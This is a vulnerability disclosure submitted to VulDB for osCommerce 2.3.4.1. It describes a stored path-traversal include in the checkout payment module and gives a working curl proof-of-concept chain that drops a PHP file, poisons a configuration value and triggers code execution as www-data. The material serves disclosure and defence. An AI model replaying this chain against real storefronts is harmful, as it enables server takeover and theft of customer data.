Submit #971046: osCommerce osCommerce2 2.3.4.1 Code Injectioninfo

TitleosCommerce osCommerce2 2.3.4.1 Code Injection
Description ## Affected Software - Product: osCommerce Online Merchant - Version: x.x.x.x - Repository: https://github.com/osCommerce/oscommerce2 - Source identifier: tag `v2.3.4.1`, commit `94e9e9efe7994bf88d8ade2e64881b4bfe1745d4` ## Vulnerability Description When the osCommerce storefront builds the payment-method list during checkout, it splits the configuration constant `MODULE_PAYMENT_INSTALLED` on semicolons and uses each entry verbatim as a file-include path and class name, loaded through `include()` in `includes/classes/payment.php` — with no `basename()` normalization, no `../` filtering, no allow-list of installed modules, and no `file_exists` check. The constant is a row in the configuration table, and the save action of `admin/modules.php` applies no source or format validation to submitted configuration values: an authenticated admin can write an entry containing path traversal pointing at a PHP file previously dropped through another application flaw (the upload class of the newsletter manager writes files with no extension restriction — the same application, see the related write-up). The configuration value is `define()`d on every storefront request straight from the database, so the poisoned entry takes effect immediately — after which any regular customer, with no privileges beyond shopping, triggers execution of the included PHP file as the web server user (www-data) simply by opening the checkout payment page `checkout_payment.php`. The injecting party (admin) and the triggering party (storefront customer) are separate identities, and the payload persists in the database and on the file system — stored, second-order code execution across identities. ## Root Cause Execution side — the constructor of `includes/classes/payment.php` turns each entry of `MODULE_PAYMENT_INSTALLED` verbatim into an include path and class name: ```php if (defined('MODULE_PAYMENT_INSTALLED') && tep_not_null(MODULE_PAYMENT_INSTALLED)) { $this->modules = explode(';', MODULE_PAYMENT_INSTALLED); $include_modules = array(); if ( (tep_not_null($module)) && (in_array($module . '.' . substr($PHP_SELF, (strrpos($PHP_SELF, '.')+1)), $this->modules)) ) { $this->selected_module = $module; $include_modules[] = array('class' => $module, 'file' => $module . '.php'); } else { reset($this->modules); while (list(, $value) = each($this->modules)) { $class = substr($value, 0, strrpos($value, '.')); $include_modules[] = array('class' => $class, 'file' => $value); } } for ($i=0, $n=sizeof($include_modules); $i<$n; $i++) { include(DIR_WS_LANGUAGES . $language . '/modules/payment/' . $include_modules[$i]['file']); include(DIR_WS_MODULES . 'payment/' . $include_modules[$i]['file']); $GLOBALS[$include_modules[$i]['class']] = new $include_modules[$i]['class']; } // ... ``` When constructed without arguments (as `checkout_payment.php` does), every semicolon-separated entry lands in `$include_modules`, and the entry string is concatenated raw into `include(DIR_WS_MODULES . 'payment/' . $file)` — traversal sequences and arbitrary file names pass through untouched, and the entry doubles as the class name. Write side — the save branch of `admin/modules.php` writes the POSTed configuration values straight into the database: ```php case 'save': reset($HTTP_POST_VARS['configuration']); while (list($key, $value) = each($HTTP_POST_VARS['configuration'])) { tep_db_query("update " . TABLE_CONFIGURATION . " set configuration_value = '" . $value . "' where configuration_key = '" . $key . "'"); } // ... ``` There is no format check for `configuration[MODULE_PAYMENT_INSTALLED]` (the semicolon entries could trivially be validated against the installed-module list; the code does not do so). The storefront `define()`s the constant from the configuration table on every request via `includes/application_top.php`, so a poisoned value applies to all storefront requests immediately. ## Proof of Concept The payload-drop step uses the same file-drop primitive as the newsletter manager's upload class (mechanism described above): create a record with `module=upload`, then push a PHP file to `catalog/admin/backups/<marker>.php` via multipart. The full chain below is plain curl. Log into the admin panel to obtain a session (no CSRF token): ```bash curl -c admin.jar -s 'http://<target>/catalog/admin/login.php' > /dev/null curl -c admin.jar -s -d 'username=<admin_user>&password=<admin_pass>&login=Log In' \ 'http://<target>/catalog/admin/login.php?action=process' > /dev/null ``` [State setup] Create a newsletter record with `module=upload` (`title` names the multipart field, `content` the destination directory): ```bash curl -b admin.jar -s -d 'module=upload&title=f6&content=backups%2F' \ 'http://<target>/catalog/admin/newsletters.php?action=insert' > /dev/null ``` [Payload drop] Submit the multipart file (field `f6`, filename `vdy6oscq74mk1f.php`, body is a harmless echo-only payload; this request only drops the file, it does not execute it): ```bash cat > payload.php <<'EOF' <?php echo "VDY6-vdy6oscq74mk1f-CODE"; system("echo VDY6-vdy6oscq74mk1f-EXEC; id; touch /tmp/VDY6-vdy6oscq74mk1f"); ?> EOF curl -b admin.jar -s -F '[email protected];filename=vdy6oscq74mk1f.php' \ 'http://<target>/catalog/admin/newsletters.php?action=confirm&nID=15' > /dev/null ``` [Payload drop] Append the storefront include-traversal entry to `MODULE_PAYMENT_INSTALLED` (original value `cod.php;paypal_express.php;paypal_standard.php`; the appended entry walks three levels up from `includes/modules/payment/` into the admin panel's backups directory): ```bash curl -b admin.jar -s \ --data-urlencode 'configuration[MODULE_PAYMENT_INSTALLED]=cod.php;paypal_express.php;paypal_standard.php;../../../admin/backups/vdy6oscq74mk1f.php' \ 'http://<target>/catalog/admin/modules.php?set=payment&module=payment&action=save' > /dev/null ``` [State setup] The following is the ordinary shopping flow of a regular customer (victim) session. Customer login (`formid` is the session form token in a hidden field of the page): ```bash curl -c victim.jar -s 'http://<target>/catalog/login.php' > /dev/null curl -c victim.jar -s \ --data-urlencode 'formid=<formid>' \ --data-urlencode 'email_address=<customer_email>' \ --data-urlencode 'password=<customer_pass>' \ 'http://<target>/catalog/login.php?action=process' > /dev/null curl -b victim.jar -s 'http://<target>/catalog/index.php?action=buy_now&products_id=8' > /dev/null curl -b victim.jar -s 'http://<target>/catalog/checkout_shipping.php' > /dev/null curl -b victim.jar -s \ --data-urlencode 'formid=<formid>' \ --data-urlencode 'action=process' \ --data-urlencode 'shipping=flat_flat' \ --data-urlencode 'comments=' \ 'http://<target>/catalog/checkout_shipping.php' > /dev/null ``` [Trigger] Open the checkout payment page to load the payment modules and fire the include: ```bash curl -b victim.jar 'http://<target>/catalog/checkout_payment.php' ``` Expected result: the response body contains `VDY6-vdy6oscq74mk1f-CODE` and `VDY6-vdy6oscq74mk1f-EXEC` plus the `id` output (the included PHP code ran as www-data; the script terminates shortly after the include because the class name contains slashes, but the output has already been sent). ### Actual output (captured in a local authorized deployment) A read-only database query inside the poisoning window confirms the include entry persisted (and the storefront `define()`s it on every request): ``` select configuration_value from configuration where configuration_key="MODULE_PAYMENT_INSTALLED"; cod.php;paypal_express.php;paypal_standard.php;../../../admin/backups/vdy6oscq74mk1f.php ``` The victim's `GET /catalog/checkout_payment.php` returned 200 with the payload output as the response body (the page terminates early, no other HTML): ``` VDY6-vdy6oscq74mk1f-CODEVDY6-vdy6oscq74mk1f-EXEC uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` Before injection, the same URL (same victim session, clean configuration) returned 200 with a normal payment-selection page (3525 bytes) and no marker output; after the configuration was restored, the same request was clean again — the marker output can only have come from the payload injected this round. A repeat round showed that while the poisoning is in place, any new customer session reaching `checkout_payment.php` triggers execution again, with no action by the injector. Cross-checks inside the container confirmed `/tmp/VDY6-vdy6oscq74mk1f` (owned by www-data) and the dropped file `catalog/admin/backups/vdy6oscq74mk1f.php` (mode 0777). ## Impact This chain reaches beyond the admin panel: after a single configuration write from an admin session, **any storefront customer** — needing nothing beyond normal shopping — triggers server-side arbitrary code execution (as www-data) on the checkout payment page, able to read and write any file and data reachable at that privilege and to reach into th
Source⚠️ https://github.com/osCommerce/oscommerce2/issues/677
User
 360alphalab (UID 100924)
Submission09/10/2026 08:18 (1 month ago)
Moderation10/04/2026 15:12 (24 days later)
StatusAccepted
VulDB entry413427 [osCommerce osCommerce2 up to 2.3.4.1 Payment Page payment.php include MODULE_PAYMENT_INSTALLED code injection]
Points20

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!